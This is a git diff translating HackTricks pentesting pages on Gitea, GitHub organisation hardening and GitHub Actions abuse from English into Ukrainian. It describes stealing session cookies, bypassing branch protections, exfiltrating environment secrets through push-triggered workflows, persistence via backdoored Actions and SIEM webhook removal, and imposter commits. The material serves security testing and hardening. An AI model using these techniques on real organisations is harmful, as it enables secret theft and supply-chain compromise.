[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Ви можете згенерувати персональний токен доступу, щоб **надати додатку доступ до вашого облікового запису**. Персональний токен доступу надає повний доступ до вашого облікового запису: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Oauth додатки -Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: +Так само, як і персональні токени доступу, **Oauth додатки** матимуть **повний доступ** до вашого облікового запису та місць, до яких має доступ ваш обліковий запис, оскільки, як зазначено в [документації](https://docs.gitea.io/en-us/oauth2-provider/#scopes), області ще не підтримуються: ![](<../../images/image (194).png>) -### Deploy keys +### Ключі для розгортання -Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. +Ключі для розгортання можуть мати доступ лише для читання або запису до репозиторію, тому вони можуть бути цікавими для компрометації конкретних репозиторіїв. -## Branch Protections +## Захист гілок -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як можна буде писати код у деякій гілці**. -The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_ +**Захист гілок репозиторію** можна знайти за адресою _https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> **Неможливо встановити захист гілки на рівні організації**. Тому всі вони повинні бути оголошені в кожному репозиторії. -Different protections can be applied to a branch (like to master): +Різні захисти можуть бути застосовані до гілки (наприклад, до master): -- **Disable Push**: No-one can push to this branch -- **Enable Push**: Anyone with access can push, but not force push. -- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push) -- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs. -- **Enable Status checks:** Require status checks to pass before merging. -- **Require approvals**: Indicate the number of approvals required before a PR can be merged. -- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs. -- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass) -- **Block merge on official review requests**: If there official review requests it cannot be merged -- **Dismiss stale approvals**: When new commits, old approvals will be dismissed. -- **Require Signed Commits**: Commits must be signed. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes +- **Вимкнути Push**: Ніхто не може пушити в цю гілку +- **Увімкнути Push**: Будь-хто з доступом може пушити, але не може примусово пушити. +- **Список дозволених обмежених Push**: Тільки вибрані користувачі/команди можуть пушити в цю гілку (але без примусового пушу) +- **Увімкнути список дозволених для злиття**: Тільки користувачі/команди зі списку дозволених можуть зливати PR. +- **Увімкнути перевірки статусу:** Вимагати, щоб перевірки статусу пройшли перед злиттям. +- **Вимагати схвалення**: Вказати кількість схвалень, необхідних перед злиттям PR. +- **Обмежити схвалення до списку дозволених**: Вказати користувачів/команди, які можуть схвалювати PR. +- **Блокувати злиття на основі відхилених оглядів**: Якщо запитуються зміни, його не можна зливати (навіть якщо інші перевірки проходять) +- **Блокувати злиття на основі офіційних запитів на огляд**: Якщо є офіційні запити на огляд, його не можна зливати +- **Скасувати застарілі схвалення**: Коли є нові коміти, старі схвалення будуть скасовані. +- **Вимагати підписаних комітів**: Коміти повинні бути підписані. +- **Блокувати злиття, якщо запит на злиття застарілий** +- **Захищені/незахищені шаблони файлів**: Вказати шаблони файлів для захисту/незахисту від змін > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам пушити код до master**, наприклад, для компрометації CI/CD конвеєра. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cdad12b57..9b678bd78 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -2,41 +2,41 @@ {{#include ../../banners/hacktricks-training.md}} -## What is Github +## Що таке Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. +(З [тут](https://kinsta.com/knowledgebase/what-is-github/)) На високому рівні, **GitHub - це вебсайт і хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді**. -### Basic Information +### Основна інформація {{#ref}} basic-github-information.md {{#endref}} -## External Recon +## Зовнішнє розвідка -Github repositories can be configured as public, private and internal. +Репозиторії Github можуть бути налаштовані як публічні, приватні та внутрішні. -- **Private** means that **only** people of the **organisation** will be able to access them -- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it -- **Public** means that **all internet** is going to be able to access it. +- **Приватний** означає, що **тільки** люди з **організації** зможуть отримати до них доступ +- **Внутрішній** означає, що **тільки** люди з **підприємства** (підприємство може мати кілька організацій) зможуть отримати до нього доступ +- **Публічний** означає, що **весь інтернет** зможе отримати до нього доступ. -In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. +Якщо ви знаєте **користувача, репозиторій або організацію, яку хочете націлити**, ви можете використовувати **github dorks**, щоб знайти чутливу інформацію або шукати **витоки чутливої інформації** **в кожному репозиторії**. ### Github Dorks -Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. +Github дозволяє **шукати щось, вказуючи в якості області користувача, репозиторію або організації**. Тому, з переліком рядків, які будуть з'являтися поруч з чутливою інформацією, ви можете легко **шукати потенційну чутливу інформацію у вашій цілі**. -Tools (each tool contains its list of dorks): +Інструменти (кожен інструмент містить свій список dorks): -- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) -- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) -- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) +- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Список Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks)) +- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Список Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) +- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Список Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists)) -### Github Leaks +### Github Витоки -Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). +Зверніть увагу, що github dorks також призначені для пошуку витоків, використовуючи параметри пошуку github. Цей розділ присвячений тим інструментам, які **завантажують кожен репозиторій і шукають чутливу інформацію в них** (навіть перевіряючи певну глибину комітів). -Tools (each tool contains its list of regexes): +Інструменти (кожен інструмент містить свій список regex): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Коли ви шукаєте витоки в репозиторії та запускаєте щось на кшталт `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети! -### External Forks +### Зовнішні форки -It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork). +Можливо **компрометувати репозиторії, зловживаючи pull requests**. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. [**Більше інформації про це нижче**](./#execution-from-a-external-fork). -### Github Leaks in deleted/internal forks +### Github Витоки в видалених/внутрішніх форках -Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: +Навіть якщо видалені або внутрішні, може бути можливим отримати чутливі дані з форків репозиторіїв github. Перевірте це тут: {{#ref}} accessible-deleted-data-in-github.md {{#endref}} -## Organization Hardening +## Укріплення організації -### Member Privileges +### Привілеї учасників -There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +Є деякі **за замовчуванням привілеї**, які можуть бути надані **учасникам** організації. Їх можна контролювати зі сторінки `https://github.com/organizations//settings/member_privileges` або з [**API організацій**](https://docs.github.com/en/rest/orgs/orgs). -- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. -- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. -- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. -- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** - - _I couldn't find this info in the APIs response, share if you do_ -- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. - - _I couldn't find this info in the APIs response, share if you do_ -- **More things can be configured** in this page but the previous are the ones more security related. +- **Базові дозволи**: Учасники матимуть дозвіл None/Read/write/Admin на репозиторії організації. Рекомендується **None** або **Read**. +- **Форкування репозиторіїв**: Якщо це не потрібно, краще **не дозволяти** учасникам форкати репозиторії організації. +- **Створення сторінок**: Якщо це не потрібно, краще **не дозволяти** учасникам публікувати сторінки з репозиторіїв організації. Якщо потрібно, ви можете дозволити створення публічних або приватних сторінок. +- **Запити на доступ до інтеграцій**: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути. +- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_ +- **Зміна видимості репозиторію**: Якщо увімкнено, **учасники** з **адміністративними** правами для **репозиторію** зможуть **змінювати його видимість**. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви **не** хочете, щоб люди робили речі **публічними**, переконайтеся, що це **вимкнено**. +- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_ +- **Видалення та передача репозиторію**: Якщо увімкнено, учасники з **адміністративними** правами для репозиторію зможуть **видаляти** або **передавати** публічні та приватні **репозиторії**. +- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_ +- **Дозволити учасникам створювати команди**: Якщо увімкнено, будь-який **учасник** організації зможе **створювати** нові **команди**. Якщо вимкнено, тільки власники організації можуть створювати нові команди. Краще, щоб це було вимкнено. +- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_ +- **Більше речей можна налаштувати** на цій сторінці, але попередні є найбільш пов'язаними з безпекою. -### Actions Settings +### Налаштування дій -Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. +Кілька налаштувань, пов'язаних з безпекою, можна налаштувати для дій зі сторінки `https://github.com/organizations//settings/actions`. > [!NOTE] -> Note that all this configurations can also be set on each repository independently +> Зверніть увагу, що всі ці конфігурації також можуть бути встановлені для кожного репозиторію незалежно -- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. - - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. - - _I couldn't find an API with this info, share if you do_ -- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. - - _I couldn't find an API with this info, share if you do_ -- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows. - - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) +- **Політики дій Github**: Це дозволяє вам вказати, які репозиторії можуть запускати робочі процеси і які робочі процеси повинні бути дозволені. Рекомендується **вказати, які репозиторії** повинні бути дозволені і не дозволяти всім діям виконуватись. +- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- **Форки pull request робочих процесів від зовнішніх співпрацівників**: Рекомендується **вимагати схвалення для всіх** зовнішніх співпрацівників. +- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_ +- **Запуск робочих процесів з pull request форків**: Вкрай **не рекомендується запускати робочі процеси з pull request** оскільки утримувачі походження форка отримають можливість використовувати токени з правами читання на вихідному репозиторії. +- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_ +- **Дозволи робочих процесів**: Вкрай рекомендується **надавати лише права читання на репозиторії**. Не рекомендується надавати права на запис і створення/схвалення pull requests, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів. +- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) -### Integrations +### Інтеграції -_Let me know if you know the API endpoint to access this info!_ +_Дайте знати, якщо ви знаєте кінцеву точку API для доступу до цієї інформації!_ -- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). -- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). +- **Політика доступу до сторонніх додатків**: Рекомендується обмежити доступ до кожного додатку та дозволити лише необхідні (після їх перегляду). +- **Встановлені додатки GitHub**: Рекомендується дозволяти лише необхідні (після їх перегляду). -## Recon & Attacks abusing credentials +## Розвідка та атаки, що зловживають обліковими даними -For this scenario we are going to suppose that you have obtained some access to a github account. +Для цього сценарію ми будемо припускати, що ви отримали доступ до облікового запису github. -### With User Credentials +### З обліковими даними користувача -If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** +Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації, ви можете **просто увійти** і перевірити, які **ролі підприємства та організації у вас є**, якщо ви звичайний учасник, перевірте, які **дозволи мають звичайні учасники**, в яких **групах** ви знаходитесь, які **дозволи ви маєте** на які **репозиторії** та **як захищені репозиторії**. -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Зверніть увагу, що **може використовуватись 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**. > [!NOTE] -> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Зверніть увагу, що якщо вам **вдасться вкрасти cookie `user_session`** (в даний час налаштований з SameSite: Lax), ви зможете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA. -Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. +Перевірте розділ нижче про [**обхід захисту гілок**](./#branch-protection-bypass), якщо це буде корисно. -### With User SSH Key +### З SSH ключем користувача -Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: +Github дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватись як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується). +З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до API github для перерахунку середовища. Однак ви можете **перерахувати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Якщо користувач налаштував своє ім'я користувача як своє ім'я користувача github, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, можна використовувати. -If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі для розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами для розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### GPG Ключі -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Як пояснено [**тут**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), іноді потрібно підписувати коміти, інакше вас можуть виявити. +Перевірте локально, чи має поточний користувач будь-який ключ за допомогою: ```shell gpg --list-secret-keys --keyid-format=long ``` +### З токеном користувача -### With User Token +Для введення про [**токени користувача перевірте основну інформацію**](basic-github-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). +Токен користувача може використовуватися **замість пароля** для Git через HTTPS або може бути використаний для [**автентифікації до API через базову автентифікацію**](https://docs.github.com/v3/auth/#basic-authentication). Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії. -A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions. +Токен користувача виглядає так: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +### З Oauth-додатком -### With Oauth Application +Для введення про [**додатки Github Oauth перевірте основну інформацію**](basic-github-information.md#oauth-applications). -For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). +Зловмисник може створити **шкідливий Oauth-додаток** для доступу до привілейованих даних/дій користувачів, які, ймовірно, приймуть їх як частину фішингової кампанії. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Це [обсяги, які може запитувати Oauth-додаток](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Завжди слід перевіряти запитувані обсяги перед їх прийняттям. -These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them. +Більше того, як пояснено в основній інформації, **організації можуть надавати/відмовляти в доступі стороннім додаткам** до інформації/репозиторіїв/дій, пов'язаних з організацією. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +### З додатком Github -### With Github Application +Для введення про [**додатки Github перевірте основну інформацію**](basic-github-information.md#github-applications). -For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). +Зловмисник може створити **шкідливий додаток Github** для доступу до привілейованих даних/дій користувачів, які, ймовірно, приймуть їх як частину фішингової кампанії. -An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Більше того, як пояснено в основній інформації, **організації можуть надавати/відмовляти в доступі стороннім додаткам** до інформації/репозиторіїв/дій, пов'язаних з організацією. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +## Компрометація та зловживання Github Action -## Compromise & Abuse Github Action - -There are several techniques to compromise and abuse a Github Action, check them here: +Існує кілька технік для компрометації та зловживання Github Action, перевірте їх тут: {{#ref}} abusing-github-actions/ {{#endref}} -## Branch Protection Bypass +## Обхід захисту гілок -- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. - - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ -- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. -- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. - - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** -- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. -- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections. -- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. -- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. -- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). - - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. +- **Вимагати певну кількість схвалень**: Якщо ви скомпрометували кілька облікових записів, ви можете просто приймати свої PR з інших облікових записів. Якщо у вас є лише обліковий запис, з якого ви створили PR, ви не можете прийняти свій власний PR. Однак, якщо у вас є доступ до середовища **Github Action** всередині репозиторію, використовуючи **GITHUB_TOKEN**, ви можете **схвалити свій PR** і отримати 1 схвалення таким чином. +- _Примітка для цього та для обмеження власників коду, що зазвичай користувач не зможе схвалити свої власні PR, але якщо ви можете, ви можете зловживати цим, щоб приймати свої PR._ +- **Скасувати схвалення, коли нові коміти надсилаються**: Якщо це не налаштовано, ви можете подати легітимний код, почекати, поки хтось його схвалить, а потім вставити шкідливий код і злити його в захищену гілку. +- **Вимагати огляди від власників коду**: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб **Github Action створив ваш PR, а потім схвалити його самостійно**. +- Коли файл **CODEOWNER неправильно налаштований**, Github не скаржиться, але не використовує його. Тому, якщо він неправильно налаштований, **захист власників коду не застосовується.** +- **Дозволити вказаним акторам обходити вимоги до запитів на злиття**: Якщо ви один з цих акторів, ви можете обійти захист запитів на злиття. +- **Включити адміністраторів**: Якщо це не налаштовано і ви є адміністратором репозиторію, ви можете обійти ці захисти гілок. +- **Викрадення PR**: Ви можете бути в змозі **модифікувати PR когось іншого**, додаючи шкідливий код, схвалюючи отриманий PR самостійно і зливаючи все. +- **Видалення захисту гілок**: Якщо ви є **адміністратором репозиторію, ви можете вимкнути захист**, злити свій PR і знову встановити захист. +- **Обхід захисту на надсилання**: Якщо репозиторій **дозволяє лише певним користувачам** надсилати пуші (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон `*`). +- Якщо у вас є **доступ на запис до репозиторію, але вам не дозволено надсилати код** через захист гілки, ви все ще можете **створити нову гілку** і в її межах створити **github action, яка спрацьовує, коли код надсилається**. Оскільки **захист гілки не захищає гілку, поки вона не створена**, цей перший пуш коду в гілку **виконає github action**. -## Bypass Environments Protections +## Обхід захисту середовищ -For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). +Для введення про [**середовище Github перевірте основну інформацію**](basic-github-information.md#git-environments). -In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). - -Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. +У разі, якщо середовище може бути **доступним з усіх гілок**, воно **не захищене** і ви можете легко отримати доступ до секретів всередині середовища. Зверніть увагу, що ви можете знайти репозиторії, де **всі гілки захищені** (вказуючи їхні назви або використовуючи `*`), у цьому сценарії, **знайдіть гілку, в яку ви можете надсилати код**, і ви можете **екстрагувати** секрети, створивши новий github action (або модифікувавши один). +Зверніть увагу, що ви можете знайти крайній випадок, коли **всі гілки захищені** (через шаблон `*`), вказано **хто може надсилати код до гілок** (_ви можете вказати це в захисті гілки_) і **ваш користувач не має дозволу**. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на надсилання над самим собою. **Захист гілки дозволяє надсилання до нової гілки, тому github action буде спрацьовувати**. ```yaml push: # Run it when a push is made to a branch - branches: - - current_branch_name #Use '**' to run when a push is made to any branch +branches: +- current_branch_name #Use '**' to run when a push is made to any branch ``` +Зверніть увагу, що **після створення** гілки **захист гілки буде застосовано до нової гілки** і ви не зможете її змінити, але на той момент ви вже вивели секрети. -Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. +## Постійність -## Persistence +- Генерувати **токен користувача** +- Вкрасти **токени github** з **секретів** +- **Видалення** результатів **робочого процесу** та **гілок** +- Надати **більше прав всій організації** +- Створити **вебхуки** для ексфільтрації інформації +- Запросити **зовнішніх співпрацівників** +- **Видалити** **вебхуки**, які використовуються **SIEM** +- Створити/змінити **Github Action** з **бекдором** +- Знайти **вразливий Github Action для ін'єкції команд** через модифікацію **значення секрету** -- Generate **user token** -- Steal **github tokens** from **secrets** - - **Deletion** of workflow **results** and **branches** -- Give **more permissions to all the org** -- Create **webhooks** to exfiltrate information -- Invite **outside collaborators** -- **Remove** **webhooks** used by the **SIEM** -- Create/modify **Github Action** with a **backdoor** -- Find **vulnerable Github Action to command injection** via **secret** value modification +### Підроблені коміти - Бекдор через коміти репозиторію -### Imposter Commits - Backdoor via repo commits - -In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. - -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +У Github можливо **створити PR до репозиторію з форка**. Навіть якщо PR **не буде прийнято**, **ідентифікатор коміту** всередині оригінального репозиторію буде створено для форкованої версії коду. Тому, зловмисник **може закріпити використання конкретного коміту з, здавалося б, легітимного репозиторію, який не був створений власником репозиторію**. +Як [**цей**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] jobs: - commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - - shell: bash - run: | - echo 'hello world!' +commit: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e +- shell: bash +run: | +echo 'hello world!' ``` - -For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +Для отримання додаткової інформації перегляньте [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c5ce0467b..df070e613 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,392 +1,374 @@ -# Abusing Github Actions +# Зловживання Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -In this page you will find: +На цій сторінці ви знайдете: -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Different ways to **get access to an action**: - - Having **permissions** to create the action - - Abusing **pull request** related triggers - - Abusing **other external access** techniques - - **Pivoting** from an already compromised repo -- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) +- **резюме всіх впливів** атаки, якщо зловмисник зможе отримати доступ до Github Action +- Різні способи **отримати доступ до дії**: +- Маючи **дозволи** на створення дії +- Зловживання **тригерами, пов'язаними з pull request** +- Зловживання **іншими зовнішніми техніками доступу** +- **Півотування** з уже скомпрометованого репозиторію +- Нарешті, розділ про **техніки пост-експлуатації для зловживання дією зсередини** (щоб викликати згадані впливи) -## Impacts Summary +## Резюме впливів -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Для введення про 